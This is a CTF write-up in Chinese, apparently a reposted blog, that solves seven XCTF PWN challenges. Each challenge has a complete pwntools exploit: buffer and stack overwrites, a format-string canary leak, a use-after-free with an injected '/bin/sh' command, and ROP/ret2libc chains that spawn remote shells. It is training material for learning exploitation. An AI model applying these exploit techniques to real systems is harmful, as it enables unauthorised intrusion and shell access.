攻防世界-PWN-Challenge-Wirteup

目录

dice_game

反应釜开关控制

stack2

Mary_Morton

time_formatter

pwn-200

pwn1 babycrack


dice_game

这个提跟新手区一个题很像,都是利用溢出覆盖随机数的种子,使得随机数产生的序列固定,在本地产生序列后脚本提交就可以了

ida查看程序

栈信息:

将seed覆盖为全0,使用c在kali中跑一下:

#include <stdlib.h>
#include <stdio.h>
int main()
{
	srand(0);
	for(int i = 0; i < 50; i++)
	{
		int a = rand() % 6 + 1;
		printf("%d,",a);
	}
	return 0;
}

获取到序列:

2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1

构造exp:

from pwn import *

rd=[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
#r=process("./dice_game")
r=remote("220.249.52.133",51168)
r.recvuntil("Welcome, let me know your name: ")
payload='aa\0'+'a' * 0x37 + p64(0) + p64(0)
r.sendline(payload)
print(r.recvline())
print(r.recvline())
for i in rd:
	print(r.recv(24))
	r.sendline(str(i))
	print(r.recvline())
r.interactive()

得到flag:


反应釜开关控制

ida中查看

得知gets那里有攻击点,覆盖返回地址成想要执行的函数地址即可。

如果没有程序的话 需要依次调用起easy、normal、shell即可获得shell。

但是因为有程序,可以直接找到shell函数的地址,跳转过去就可以了。

exp:

from pwn import *

s3=0x4005f6
#r=process("./fanyingfu")
r=remote("220.249.52.133",42128)

payload='a'*0x200+'b'*8+p64(s3)
r.sendline(payload)
r.interactive()

得到flag:


stack2

放入ida查看

查看每个输入看是否有溢出点,最后只是在

发现,可以通过v13区修改栈上的数据,就可以覆盖返回地址。

查找字符串找到了/bin/bash 追踪调用找到了调用shell的函数,尝试覆盖到hackhere处。

main的栈数据:

返回地址针对数组偏移地址计算:0x70 +4  也就是0x74 ,但是尝试攻击时可不到shell,gdb跟踪到ret附近查看,发现

   0x80488eb <main+795>:        mov    ecx,DWORD PTR [ebp-0x4]
   0x80488ee <main+798>:        leave  
   0x80488ef <main+799>:        lea    esp,[ecx-0x4]
=> 0x80488f2 <main+802>:        ret    

lea esp,[ecx-0x4]

leave前 栈返回地址是正常的,但是执行完lea这个指令后,栈顶增加0x10,所以正确的偏移是0x70 +4+0x10

0xffffd26c -> 0xffffd27c

构造exp

#encoding=utf-8
from pwn import *

r=remote("220.249.52.133", 45002)

r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline('0')

#system
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("132")
r.recvuntil("new number:")
r.sendline("155")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("133")
r.recvuntil("new number:")
r.sendline("133")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("134")
r.recvuntil("new number:")
r.sendline("4")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("135")
r.recvuntil("new number:")
r.sendline("8")

r.recvuntil("5. exit")
r.sendline("5")
r.interactive()

提示 sh: 1: /bin/bash: not found  但是本地正常。

然后尝试直接调用system 和自己构造/bin/sh 都不行,不得以找了下writeup 发现可以不用自己构造字符串,直接截取/bin/bash中的sh就可以了。

最后的exp:

#encoding=utf-8
from pwn import *

hack_addr=0x0804859B
system_addr=0x8048450
sh_addr= 0x8048980+7

r=remote("220.249.52.133", 45002)

r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline('0')

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("140")
r.recvuntil("new number:")
r.sendline("135")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("141")
r.recvuntil("new number:")
r.sendline("137")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("142")
r.recvuntil("new number:")
r.sendline("4")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("143")
r.recvuntil("new number:")
r.sendline("8")

#system
r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("132")
r.recvuntil("new number:")
r.sendline("80")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("133")
r.recvuntil("new number:")
r.sendline("132")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("134")
r.recvuntil("new number:")
r.sendline("4")

r.recvuntil("5. exit")
r.sendline("3")
r.recvuntil("which number to change:")
r.sendline("135")
r.recvuntil("new number:")
r.sendline("8")

r.recvuntil("5. exit")
r.sendline("5")
r.interactive()




得到flag:


Mary_Morton

非常简单的热身pwn

这道题存在字符串格式化漏洞和栈溢出漏洞,因为不知道Canary就算出了函数以及不同的子函数里面是不变的,所以考虑是不是两种漏洞都可以单独成功,(打完后看评论 有人说可以。。。)一直在尝试最后找资料发现Canary是不变的,所以使用字符串格式化漏洞获取Canary然后在栈溢出中覆盖Canary和EIP。

ida:

两个函数内部分别是 字符串格式化漏洞和栈溢出漏洞 打印的菜单已经提示。

格式化漏洞:buf 

buf是 ebp-90  Canary是ebp-8  返回EIP是ebp-8

因为是64位程序,(0x90-8)/8 + 1 + 5 = 23  

栈溢出那边:

buf是 ebp-90  Canary是ebp-8  返回EIP是ebp-8

exp:

#encoding=utf-8
from pwn import *

r=remote("220.249.52.133",38925)
hack_addr = 0x4008DA
r.recvuntil("3. Exit the battle \n")
r.sendline("2")
payload='%23$p'

r.sendline(payload)
sleep(0.5)
r.recvuntil("0x")
scanary= r.recvline()
scanary = int("0x"+scanary,16)
print(hex(scanary))
r.recvuntil("3. Exit the battle \n")
r.sendline("1")
payload='A'*0x88+p64(scanary) + p64(0)+ p64(hack_addr)
r.sendline(payload)
r.interactive()

time_formatter

描述:将UNIX时间转换为日期是很困难的,所以玛丽编写了一个工具来完成这个任务。

这是一个use after free 的漏洞题。IDA查看:

输入1时有输入字符的校验,所以无法在1处构造命令。而输入3时没有对输入内容做校验。

这里输入5 退出时存在UAF漏洞,先输入1申请格式内存,然后5释放格式内存,再执行3申请内存时,申请的内存地址其实是刚刚的格式化内存,这时时间格式和时区指向同样的地址。在3里面构造shell即可。 测试过程如下:

> 1
Format: AAA
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 5
Are you sure you want to exit (y/N)? N
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: BBB
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is: BBB
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.

exp:

from pwn import *

r=remote("220.249.52.133",58893)
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("Format: ")
r.sendline("AAAA")

r.recvuntil("> ")
r.sendline("5")
r.recvuntil("Are you sure you want to exit (y/N)? ")
r.sendline("N")

r.recvuntil("> ")
r.sendline("3")
r.recvuntil("Time zone: ")
r.sendline("A\';/bin/sh;\'")

r.recvuntil("> ")
r.sendline("4")
r.interactive()

得到shell


pwn-200

这个题跟新手区的level3类似,不过level3提供了glibc的库,这个题里面没有提供,所以就需要利用DynELF和write函数泄露system的地址。

同时/bin/sh也无法找到现成的字符串可以利用,需要使用read函数构造用户输入。

存在的溢出点为:

程序的保护:

write、read、main、存在溢出点的函数、还需要找3个pop 的代码段都可以在ida中找到,构造exp:

from pwn import *
#context(log_level='debug',arch='i386',os='linux')

r=remote("220.249.52.133",36995)
elf= ELF("./pwn-200")

write_plt=elf.plt['write']
func_addr = 0x8048484

def leak(address):
	payload="A"*112+p32(write_plt) + p32(func_addr)+p32(1) +p32(address)+ p32(4)
	r.sendline(payload)
	d= r.recv(4)
	return d

print(r.recv())

dyn = DynELF(leak,elf=ELF("./pwn-200"))
sys_addr = dyn.lookup("system",'libc')
print("sys_addr:"+hex(sys_addr))

main_addr= 0x80484be
payload="A"*112+p32(main_addr)
r.sendline(payload)
print(r.recv())

read_plt=elf.plt['read']
bss_addr=elf.bss()

pop3_addr = 0x080485cd 
#        block  + read addr     + read ret      +read param:stdin + readtobuf    + readmaxnums + pop read param + anysystemretaddr + system param
payload="A"*112 + p32(read_plt) + p32(sys_addr) + p32(0)          + p32(bss_addr)+ p32(10)     + p32(pop3_addr) + p32(main_addr)   + p32(bss_addr) 
r.sendline(payload)

r.sendline("/bin/sh")
r.interactive()

pwn1 babycrack

这个题目步骤:

1、获取canary。

2、利用puts计算puts地址。

3、利用泄露的libc查找system和sh(/bin/sh不可用。。。) 或者查找one_gadget

4、构造payload

exp:

#encoding=utf-8
from pwn import *

r=remote("220.249.52.133",34102)
elf= ELF("./babystack")
libc= ELF("./libc-2.23.so")

r.sendlineafter(">> ","1")
payload="A"*136 
r.sendline(payload)
print(r.recv())
r.sendlineafter(">> ","2")
r.recvuntil("A"*136) #泄露canary

canary=u64(r.recv(8))-0x0a #canary最低位为00,正好对应payload的回车
print("canary:"+hex(canary))
r.sendlineafter(">> ","1")
main_addr=0x400908  #因为没有开启PIE每次地址相同 ida中获取
popedi_addr=0x400a93 
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload="A"*136+p64(canary)+p64(0)+p64(popedi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)
r.sendlineafter(">> ","3")
puts_addr=u64(r.recv(8).ljust(8,'\x00')) #不足8个字节 u64报错
print("puts_addr:"+hex(puts_addr))

#sysoffset  = 0x45216  #one_gadget获取到的 one_gadget方式
sysoffset  = libc.symbols['system'] #使用system的方式,后来晚上发现可以用one_gadget,后面payload不用传参
putsoffset  = libc.symbols['puts']
print("sysoffset:"+hex(sysoffset))
sys_addr=sysoffset + puts_addr - putsoffset
print("sys_addr:"+hex(sys_addr))

sh_offset=libc.search("sh\x00").next() # 
sh_addr=sh_offset + puts_addr - putsoffset
print("sh_addr:"+hex(sh_addr))

r.sendlineafter(">> ","1")
payload="A"*136+p64(canary)+p64(0)+p64(popedi_addr)+p64(sh_addr)+p64(sys_addr) #system方式
#payload="A"*136+p64(canary)+p64(0)+p64(sys_addr) #one_gadget方式
r.sendline(payload)
r.sendlineafter(">> ","3")
r.interactive()

猜你喜欢

转载自blog.csdn.net/wdearzh/article/details/107659638
今日推荐